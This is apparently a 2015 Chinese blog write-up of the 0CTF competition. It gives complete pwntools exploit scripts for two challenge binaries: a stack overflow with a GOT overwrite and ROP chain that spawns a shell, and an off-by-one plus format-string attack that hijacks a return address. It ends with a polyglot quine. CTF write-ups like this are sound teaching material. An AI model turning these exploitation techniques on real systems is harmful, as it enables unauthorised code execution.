0CTF writeup

Posted by rk700 on March 31, 2015

周末参加了今年的第二次CTF,0CTF。与BCTF类似,这次的溢出、逆向题目也是非常有水平的,令人大开眼界。下面是我的部分的writeup。

flaggenerator

这道题的溢出还是比较明显的。在leetify时,一个h字符会被变成1-1三个字符,从而长度变长,造成栈溢出。但这道题有stack canary保护,如果我们栈溢出修改了返回地址,就会触发__stack_chk_fail。而读了一遍伪代码之后并没有发现可以泄露canary的地方,于是肯定会触发调用__stack_chk_fail了。

但是,在leetify的最后一步是strcpy,而目标dest是从栈上取的,源src是我们提供的flag(虽然有些字符被leetify了)。dest是我们可以覆盖到的,于是,如果我们把strcpy的目标地址改为GOT,造成修改__stack_chk_fail@got,那么就可以调用我们提供的函数了。

在调用__stack_chk_fail@got时,栈顶还是之前strcpy的参数。我用的是leave; ret,这样把ebp设为我们覆盖的一个地址,再跳回leetify的返回地址,那里也是被我们所覆盖的,进而ROP下去。pwntools里好像有写ROP的功能,我不太熟,还是手工构造的。具体地,先put打印GOT,获得库函数地址;然后调用程序里一个类似readline的函数,将system和字符串/bin/sh读到固定位置;最后leave; ret,执行system("bin/sh")。下面是代码:

#!/usr/bin/env python2

from pwn import *
import sys 

if __name__ == '__main__' :
    context(arch='i386', os='linux')
    
    elf = ELF('flagen')

    #ip = "127.0.0.1"
    ip = sys.argv[1]
    conn = remote(ip, 5149)

    #len=9
    newGOT = [0x080484e6, 0x080484f6, 0x08048506, 0x08048516, 0x08048526, 0xf7e24570, 0x08048546, 0x08048556, 0x08048566]
    leave = 0x080485d8 
    newGOT[0] = leave #leave; ret
    newEbp = 0x0804b610
    newDest = 0x0804b01c #__stack_chk_fail@got
    popRet = 0x08048481 #pop ebx; ret
    newRet = popRet
    puts = 0x08048510 #puts@plt
    read = 0x0804b00c #read@got
    readLine = 0x080486cb
    count = 0x01010101
    sh = newEbp + 4*4 
    bsh = 0xf7f6a3a8

    #0x10c=4*9+77*3+1
    payload1 = "1\n" + "".join([p32(x) for x in newGOT]) + "h"*77 + "a" + p32(newEbp) + p32(popRet) + p32(newDest) + p32(puts) + p32(popRet) + p32(read) + p32(readLine) + p32(leave) + p32(newEbp) + p32(count) + "\n4\n"
    #total: 4*9+77+1+4*10=154

    conn.recvuntil("Your choice: ")
    conn.send(payload1)

    conn.recvuntil("Your choice: ")
    a1 = conn.recvn(4) 
    readAddr = unpack(a1)
    print(hex(readAddr))

    #system = 0xf7e46d70
    system = readAddr - 0x9aa40
    payload2 = p32(newEbp) + p32(system) + p32(popRet) + p32(sh) + "/bin//sh\n"
    conn.send(payload2)

    conn.interactive()

login

这道题是PIE的,所以我调试下断点遇到了一点麻烦。最后我的方法是:在库函数MD5下断点,运行到那里后,finish回到原程序里,然后一步步走下去。

很明显,我们需要调用读flag文件的那个函数,为此我们需要成为normal user。再新login用户时的scanf有问题,这里它用的是%256s,这样如果输入256个字符,就会读256个,并添加一个\x00在最后。这样,就可以修改那里,成为normal user了。

然后,在隐藏的选项4里,存在format string attack,而且一共有两次。于是我们可以在第一次得到内存地址,然后第二次修改来跳到读flag的函数那里。具体地,通过大量打印内存,我们发现printf的第3个参数是栈上的某处,由此可以得到返回地址在栈上的地址;第75个参数是返回地址,由此我们可以得到.text的基地址,进而得到读flag的函数的地址。然后,在第二次printf时,我们修改返回地址为读flag,就可以在printf结束后获得flag了。

下面是代码:

#!/usr/bin/env python2

from pwn import *
import sys 

if __name__ == '__main__' :
    context(arch='i386', os='linux')
    
    #ip = "127.0.0.1"
    ip = sys.argv[1]
    conn = remote(ip, 10910)

    payload = "guest\nguest123\n2\n" + "A"*256 + "4\n" + "%3$p,%75$p\n1234\n"

    conn.send(payload)

    conn.recvuntil("Password: ")
    conn.recvuntil("Password: ")
    addrs = (conn.recvline(keepends=False).split(" ")[0]).split(',')
    print addrs

    stack = int(addrs[0], 16) 
    base = int(addrs[1], 16)-0x12d3
    retAddr1 = stack - 0x8 
    retAddr2 = retAddr1+1
    print hex(retAddr1)
    print hex(base)

    high = (base & 0xff00) >> 8
    print hex(high)

    newHigh = high + 0x11
    part1 = "%8x%11$hhn"
    count = newHigh -8
    print "count 2 is %d" % count

    if count > 13 and count < 100:
        part2 = "aaa%%%dx%%12$hhn" % (count-3)
    elif count > 102:
        part2 = "aa%%%dx%%12$hhn" % (count-2)

    print len(part1)+len(part2)
    print part1+part2

    payload = part1+part2+p64(retAddr1)+p64(retAddr2) + "\n1234\n"

    conn.send(payload)
    conn.interactive()

polyglot quine

其实两道题都是考察的它,只不过第一题只要求5种语言里的3种通过即可,第二题则要求5种语言全部通过。第一题我是直接搜索在http://shinh.skr.jp/obf/得到的,它已经满足c, python2, ruby和perl了。但python3还不满足,为此我研究了一下这段代码。

实验发现,python3之所以不满足,是因为python里的print会附加一个换行符在最后。为了解决这个问题,代码里用的是print a%b,,即在print之后添加一个逗号使得不打印换行符。但这只对python2有效,python3就不行了。

经过一番思考,我发现可以通过rstrip()去掉结尾的换行符,然后再print添加一个换行符,这样就做到了只有一个换行符了,而且这样对python2和python3都可以。下面就是我修改后可以通过5种语言的代码:

 #include/*
s='''*/
main(){char*_;/*==;sub _:lvalue{$_}<<s;#';<<s#'''
def printf(a,*b):print((a%b).rstrip())
s
#*/
_=" #include/*%cs='''*/%cmain(){char*_;/*==;sub _:lvalue{%c_}<<s;#';<<s#'''%cdef printf(a,*b):print((a%%b).rstrip())%cs%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cs='''*/%c}//'''#==%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
s='''*/
}//'''#==
</pre>